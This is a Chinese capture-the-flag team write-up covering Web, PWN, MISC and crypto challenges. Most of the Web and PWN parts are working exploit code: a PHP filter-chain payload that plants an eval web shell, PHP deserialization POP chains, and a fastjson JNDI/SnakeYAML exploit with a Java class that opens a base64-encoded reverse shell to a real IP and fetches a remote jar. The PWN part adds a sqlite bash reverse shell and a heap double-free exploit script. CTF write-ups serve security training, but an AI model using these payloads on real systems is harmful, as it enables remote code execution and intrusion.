队伍名称
TeamGipsy
排名
19名
解题思路
Web
rce_me
hxp CTF 2021 - The End Of LFI? - 跳跳糖 (tttang.com)
exp:
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
echo ($final_payload);
payload:
?file=php%3A%2F%2Ffilter%2Fconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EEUCTW%7Cconvert%2Eiconv%2EL4%2EUTF8%7Cconvert%2Eiconv%2EIEC%5FP271%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL7%2ENAPLPS%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EUCS%2D2LE%2EUCS%2D2BE%7Cconvert%2Eiconv%2ETCVN%2EUCS2%7Cconvert%2Eiconv%2E857%2ESHIFTJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EEUCTW%7Cconvert%2Eiconv%2EL4%2EUTF8%7Cconvert%2Eiconv%2E866%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL3%2ET%2E61%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2ESJIS%2EGBK%7Cconvert%2Eiconv%2EL10%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2EISO%2DIR%2D111%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2EISO%2DIR%2D111%2EUJIS%7Cconvert%2Eiconv%2E852%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUTF16%2EEUCTW%7Cconvert%2Eiconv%2ECP1256%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL7%2ENAPLPS%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2E851%2EUTF8%7Cconvert%2Eiconv%2EL7%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2ECP1133%2EIBM932%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EUCS%2D2LE%2EUCS%2D2BE%7Cconvert%2Eiconv%2ETCVN%2EUCS2%7Cconvert%2Eiconv%2E851%2EBIG5%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EUCS%2D2LE%2EUCS%2D2BE%7Cconvert%2Eiconv%2ETCVN%2EUCS2%7Cconvert%2Eiconv%2E1046%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUTF16%2EEUCTW%7Cconvert%2Eiconv%2EMAC%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL7%2ESHIFTJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUTF16%2EEUCTW%7Cconvert%2Eiconv%2EMAC%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2EISO%2DIR%2D111%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EISO6937%2EJOHAB%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL6%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2ESJIS%2EGBK%7Cconvert%2Eiconv%2EL10%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EUCS%2D2LE%2EUCS%2D2BE%7Cconvert%2Eiconv%2ETCVN%2EUCS2%7Cconvert%2Eiconv%2E857%2ESHIFTJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Ebase64%2Ddecode%2Fresource%3D/etc/passwd&0=echo '%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e' %3e a.php
蚁剑连a.php,然后就是suid提权,直接date提权就好了
step_by_step-v3
源码:
<?php
error_reporting(0);
class yang
{
public $y1;
public function __construct()
{
$this->y1->magic();
echo 1;
}
public function __tostring()
{
($this->y1)();
}
public function hint()
{
include_once('hint.php');
if(isset($_GET['file']))
{
$file = $_GET['file'];
if(preg_match("/$hey_mean_then/is", $file))
{
die("nonono");
}
include_once($file);
}
}
}
class cheng
{
public $c1;
public function __wakeup()
{
$this->c1->flag = 'flag';
}
public function __invoke()
{
$this->c1->hint();
}
}
class bei
{
public $b1;
public $b2;
public function __set($k1,$k2)
{
print $this->b1;
}
public function __call($n1,$n2)
{
echo $this->b1;
}
}
unserialize('');
?>
反序列化poc:
<?php
class yang
{
public $y1;
public function __construct()
{
// $this->y1 = new bei();
}
}
class cheng
{
public $c1;
public function __construct()
{
}
}
class bei
{
public $b1;
public $b2;
public function __construct()
{
// $this->b2 = new yang();
}
}
$a = new yang();
$b = new cheng();
$c = new bei();
$b->c1 = $c;
$c->b1 = $a;
$a->y1 = "phpinfo";
echo serialize($b);
?>
flag在phpinfo里
Safepop
源码:
<?php
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}
class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}
class A{
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
unserialize('');
poc:
<?php
class Fun{
private $func;
public function __construct()
{
$this->func = 'system';
}
}
class Test{
public function __construct()
{
}
}
class A{
public $a;
public function __construct()
{
}
}
class B{
public $p;
public function __construct()
{
}
}
$a = new A();
$b = new B();
$fun = new Fun();
$test = new Test();
$a->a = $fun;
$b->p = 'cat /f*';
$b->a = $a;
echo urlencode(serialize($b));
flag:
flag{55410055464485123619498041307525}
simple_json
fastjson1.2.83
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
题目给的类似的payload:
{"content" : {"@type": "ycb.simple_json.service.JNDIService", "target":"ldap://ip:port/Exp"}, "msg":{"$ref":"$.content.context"}}
各种信息搜集之后:
没有ELProcessor的时候:https://tttang.com/archive/1405/#toc_snakeyaml
Yaml反序列化:https://www.yuque.com/jinjinshigekeaigui/qskpi5/rgwdc7#wpl31
由此先创建一个Exp恶意类,用于RCE,还有META-INF/services/javax.script.ScriptEngineFactory
文件,内容为Exp
,然后编译Exp类,生成jar包一起放到vps上
用python开启服务:
python3 -m http.server --bind 0.0.0.0 8888
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class Exp implements ScriptEngineFactory {
static {
try {
System.out.println("Hacked by ameuu");
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuMi4xNjYvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}");
} catch (IOException e){
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
本地开启rmi服务,jar打包,放到vps上执行:
package main;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Main {
public static ResourceRef tomcat_snakeyaml(){
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"<http://82.156.2.166:8888/exp.jar\"]]]]">;
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;
}
public static void main(String[] args) throws Exception {
int rmi_port = 1559;
System.setProperty("java.rmi.server.hostname", "82.156.2.166");
Registry registry = LocateRegistry.createRegistry(rmi_port);
System.out.println(System.getProperty("java.rmi.server.hostname"));
ResourceRef ref = tomcat_snakeyaml();
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
然后传入payload
{"content" : {"@type": "ycb.simple_json.service.JNDIService", "target":"ldap://82.156.2.166:1559/Exploit"}, "msg":{"$ref":"$.content.context"}}
但是没有成功连上,利用别的师傅写的工具,把yaml函数写入工具之后打包,
java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer 82.156.2.166
记得监听端口
最终payload:
{"content" : {"@type": "ycb.simple_json.service.JNDIService", "target":"rmi://82.156.2.166:1097/ExecBySnakeYaml"}, "msg":{"$ref":"$.content.context"}}
拿到flag
PWN
YCBSQL-v4
是sqlite,sql文件提交之后会直接执行sql语句,那么重点就是要看可以利用的sql语句,测试了一下发现没有回显,而README里面也说要么nc外带或者直接反弹shell
把sqlite放到linux环境下
chmod +x sqlite3
.help 可以发现存在命令执
直接上传sql文件,内容如下:
.system bash -c 'bash -i >& /dev/tcp/vps_ip/1234 0>&1'
成功反弹shell,拿到flag
ez_linklist-v2
unlink的时候可以分配多个node而且free(0xff)的时候没有判断,直接从next指针来再次分配就能形成double free。因为申请的堆块都小于0x80所以这里要先劫持tcachestruct起再次double free泄露libc然后再double free申请到free_hook,然后getshell。
#encoding: utf-8
#!/usr/bin/python
from pwn import*
import sys
#context.log_level = "debug"
context.arch="amd64"
binary_name = "pwn"
libc_name = "libc.so.6"
ld_name = "ld"
local = 1
elf =ELF("./"+binary_name)
libc = ELF("./"+libc_name)
#ld = ELF("./"+ld_name)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'x00'))
uu64 = lambda data :u64(data.ljust(8, b'x00'))
info = lambda tag, addr :log.info(tag + " -------------> " + hex(addr))
ia = lambda :io.interactive()
if local==1:
io = remote("tcp.dasc.buuoj.cn",20158)
else:
io = process("./"+binary_name)
def debug():
gdb.attach(io,'''
''')
pause()
def add(size,content):
sla("Your choice:","1")
sla("Size:",str(size))
sla("Content:",content)
def link(start,end):
sla("Your choice:","3")
sla("link from:",str(start))
sla("link to:",str(end))
def unlink(index,offest):
sla('Your choice:',"4")
sla("Index:",str(index))
sla("Input offset:",str(offest))
def free(index,offest):
sla("Your choice:","2")
sla("Index",str(index))
sla("Input offset:",str(offest))
add(0x70,"aaa")
add(0x70,"bbb")
add(0x70,"ccc")
add(0x70,"ddd")
link(0,1)
link(0,2)
link(0,3)
unlink(0,0)
free(1,0xff)
for i in range(5):
add(0x70,"xxx")
link(1,2)
link(1,4)
link(1,5)
link(1,3)
free(1,1)
free(1,1)
free(1,2)
sla("Your choice:","4")
sla("Index:","0")
ru("Offset 0:")
heap_addr = uu64(io.recv(6))
info("heap_addr",heap_addr)
#0x55555555b0c0
sla("Input offset:","0")
for i in range(7):
add(0x70,"sss")
for i in range(9,4,-1):
free(i,0)
free(1,0xff)
link(2,3)
free(2,1)
free(4,0)
free(2,0)
for i in range(7):
add(0x70,"xxx")
add(0x70,p64(heap_addr-672+0x50))
link(8,1)
for i in range(2):
add(0x70,"aaa")
link(2,3)
link(2,4)
link(2,5)
payload = "x07"
payload = payload.ljust(0x70-1,"x00")
add(0x70,payload)
add(0x70,p64(0)*11+p64(0x31))
add(0x70,p64(0)*3+p64(0x61)+p64(0)*5+p64(0x31))
add(0x70,'xxx')
free(4,0)
link(5,9)
free(5,1)
link(7,8)
unlink(7,1)
add(0x70,"aaa")
free(2,0xff)
free(5,0)
free(6,0)
link(8,4)
free(8,1)
free(10,0)
free(8,0)
add(0x70,p64(0)+p64(0x221))
for i in range(6):
add(0x70,"chen")
info("x",heap_addr+1136)
add(0x70,p64(heap_addr+1136))
link(11,10)
for i in range(2):
add(0x70,"xxx")
link(4,5)
link(4,6)
add(0x70,"chen")
link(8,5)
free(8,1)
link(2,1)
free(2,1)
sla("Your choice:","4")
sla("Index:","0")
sleep(0.5)
ru("Offset 1:")
libcbase = uu64(io.recv(6))-2014176
info("libcbase",libcbase)
sla("Input offset:",'0')
free_hook = libcbase+libc.sym['__free_hook']
system_addr = libcbase+libc.sym["system"]
for i in range(2):
add(0x70,"fff")
free(4,0xff)
sleep(0.5)
free(8,0)
free(9,0)
free(10,0)
free(1,0)
free(7,1)
free(12,0)
free(0,0)
sleep(0.5)
for i in range(7):
add(0x70,"/bin/shx00")
add(0x70,p64(free_hook))
link(6,0)
sleep(0.1)
for i in range(2):
add(0x70,"/bin/shx00")
sleep(0.1)
sleep(0.1)
one=[0xe6c7e,0xe6c81,0xe6c84]
add(0x70,p64(system_addr))
sleep(0.1)
free(1,0xff)
#debug()
ia()
MISC
签个到
rot13+base32
where_is_secret
维吉尼亚爆破
压缩包密码就是GWHT@R1nd0yyds
后来给了图片加密的源码
from PIL import Image
import math
def encode(text):
str_len = len(text)
width = math.ceil(str_len ** 0.5)
im = Image.new("RGB", (width, width), 0x0)
x, y = 0, 0
for i in text:
index = ord(i)
rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
im.putpixel((x, y), rgb)
if x == width - 1:
x = 0
y += 1
else:
x += 1
return im
if __name__ == '__main__':
with open("829962.txt", encoding="gbk") as f:
all_text = f.read()
im = encode(all_text)
im.save("out.bmp")
核心代码就一段
rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
g通道存储了高位,b通道存储了低位
因为可能是有中文,8位16进制存储不下
exp的话,因为是&0xFF,甚至不用逆,直接拿来用就行
exp
from PIL import Image
import string
f = Image.open('out.bmp')
width, height = f.size
fp = open('1.txt','w')
for i in range(height):
for k in range(width):
rgb = f.getpixel((k,i))
word = hex(rgb[1])[2:].zfill(2)+hex(rgb[2])[2:].zfill(2)
word = b'\u' + word.encode()
fp.write(word.decode("unicode_escape"))
打开之后发现,flag穿插在里面,将所有中文去掉之后,发现有一些混淆,如4年,x天之类,手动去除
最后得到flag
print(ord('('),ord(')'))
a=open('1.txt','r')
k=a.read()
for i in k:
if ord(i)>=40 and ord(i) <200:
print(i,end='')
迷失幻境
给$RJ3JGVF加上png文件头,就是一张环境照片,跟迷失幻境中的随便一个进行操作,我这里选的是99.png,得到一个key
然后尝试了很多种jpg隐写方法,最后使用outguess,得到flag
寻宝-Fix
每个位子上的字节进行了翻转
f = open('xb', 'rb').read()
data = f.hex()[::-1]
print(data)
fp = open('realxb','wb')
fp.write(bytes.fromhex(data)[::-1])
然后使用CE改命,直接无限命
flag有三段,第一段是隐藏在背景音乐里面的声调,第二段是前四关地图里面的猪圈密码,第三段是最后16张图的差分曼彻斯特编码
声调一开始听了为336736,先按下不表
猪圈密码为OWOH,这个有两张图,另一张图是不行的,这边采用了以下第二张
差分曼彻斯特编码,由十字架为时钟分割线,然后手lu
01011111011000010011000101011111
转换网站
二进制转字符串为_a1_
确定是正确的了,然后开始在
336736_a1_OWOH,OWOH_a1_336736,_a1_336736,336736_a1_NQNL,四种组合开始徘徊
然后确定应该是音阶出问题了,直接爆破好吧archpr yyds
最后在OWOH_a1_??????组合中爆破出了密码
解压之后惯例将txt中的内容,拖进linux中查看,因为可以看出是否有零宽以及确定零宽的类型
最后选择,注意,这边的选择要跟上面出现的一一对应,不可默认
得到flag
GWHT{Wher3_1S_Th4_1gI981O?}
CRYPTO
LRSA
给了P*P*Q,P*Q*Q
,gcd()求出P*Q
再分别除以它求出P,Q
给了t=(p*P-58*P+q)%Q
,已知t,P,Q
求p,q
,其中t=44很小
所以有:
为我们所需的格子
from Crypto.Util.number import *
from gmpy2 import *
B = 1023
P2Q = 17550772391048142376662352375650397168226219900284185133945819378595084615279414529115194246625188015626268312188291451580718399491413731583962229337205180301248556893326419027312533686033888462669675100382278716791450615542537581657011200868911872550652311318486382920999726120813916439522474691195194557657267042628374572411645371485995174777885120394234154274071083542059010253657420242098856699109476857347677270860654429688935924519805555787949683144015873225388396740487817155358042797286990338440987035608851331840925854381286767024584195081004360635842976624747610461507795755042915965483135990495921912997789567020652729777216671481467049291624343256152446367091568361258918212012737611001009003078023715854575413979603297947011959023398306612437250872299406744778763429172689675430968886613391356192380152315042387148665654062576525633130546454743040442444227245763939134967515614637300940642555367668537324892890004459521919887178391559206373513466653484926149453481758790663522317898916616435463486824881406198956479504970446076256447830689197409184703931842169195650953917594642601134810084247402051464584676932882503143409428970896718980446185114397748313655630266379123438583315809104543663538494519415242569480492899140190587129956835218417371308642212037424611690324353109931657289337536406499314388951678319136343913551598851601805737870217800009086551022197432448461112330252097447894028786035069710260561955740514091976513928307284531381150606428802334767412638213776730300093872457594524254858721551285338651364457529927871215183857169772407595348187949014442596356406144157105062291018215254440382214000573515515859668018846789551567310531570458316720877172632139481792680258388798439064221051325274383331521717987420093245521230610073103811158660291643007279940393509663374960353315388446956868294358252276964954745551655711981
PQ2 = 17632503734712698604217167790453868045296303200715867263641257955056721075502316035280716025016839471684329988600978978424661087892466132185482035374940487837109552684763339574491378951189521258328752145077889261805000262141719400516584216130899437363088936913664419705248701787497332582188063869114908628807937049986360525010012039863210179017248132893824655341728382780250878156526086594253092249935304259986328308203344932540888448163430113818706295806406535364433801544858874357459282988110371175948011077595778123265914357153104206808258347815853145593128831233094769191889153762451880396333921190835200889266000562699392602082643298040136498839726733129090381507278582253125509943696419087708429546384313035073010683709744463087794325058122495375333875728593383803489271258323466068830034394348582326189840226236821974979834541554188673335151333713605570214286605391522582123096490317734786072061052604324131559447145448500381240146742679889154145555389449773359530020107821711994953950072547113428811855524572017820861579995449831880269151834230607863568992929328355995768974532894288752369127771516710199600449849031992434777962666440682129817924824151147427747882725858977273856311911431085373396551436319200582072164015150896425482384248479071434032953021738952688256364397405939276917210952583838731888536160866721278250628482428975748118973182256529453045184370543766401320261730361611365906347736001225775255350554164449014831203472238042057456969218316231699556466298168668958678855382462970622819417830000343573014265235688391542452769592096406400900187933156352226983897249981036555748543606676736274049188713348408983072484516372145496924391146241282884948724825393087105077360952770212959517318021248639012476095670769959011548699960423508352158455979906789927951812368185987838359200354730654103428077770839008773864604836807261909
t = 44
c = 4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746
e = 0x10001
PQ = gcd(PQ2, P2Q)
P = P2Q // PQ
Q = PQ2 // PQ
M = matrix(ZZ, [[1, P], [0, Q]])
lll = M.LLL()[0]
p = int(-lll[0]) + 58
q = int(lll[1]) + t
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
n = p * q
print(long_to_bytes(int(pow(c, d, n))))
# b'DASCTF{8f3djoj9wedj2_dkc903cwckckdk}
EasyRsa
给了多组n,gcd()求出共同的素数p,然后解rsa
from Crypto.Util.number import *
from gmpy2 import *
m = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
e = 65537
f = open("output.txt", "r")
a = f.readlines()[::-1]
for i in a:
# print(gcd(65439077968397540989065489337415940784529269429684649365065378651353483030304843439003949649543376311871845618819107350646437252980144978447924976470943930075812834237368425374578215977641265884859875440799334807607478705932175148673160353577875890074101393042506714001617338265284910381849259298772642190619,86843235426823545017422014398916780909062053456790256392304973548517489132984667679637386416948409930796162377844525829968317585749956057149930523547463230147376192820753802868362225137830225967953826475779047454555958271846035526319036389127587352017149417549187850782892924691511398536178090031958365483499))
p = 7552850543392291177573335134779451826968284497191536051874894984844023350777357739533061306212635723884437778881981836095720474943879388731913801454095897
n = int(i)
q = n // p
assert n % p == 0
phi = (p-1)*(q-1)
d = inverse(e,phi)
c = pow(m, d, n)
m = c
f.close()
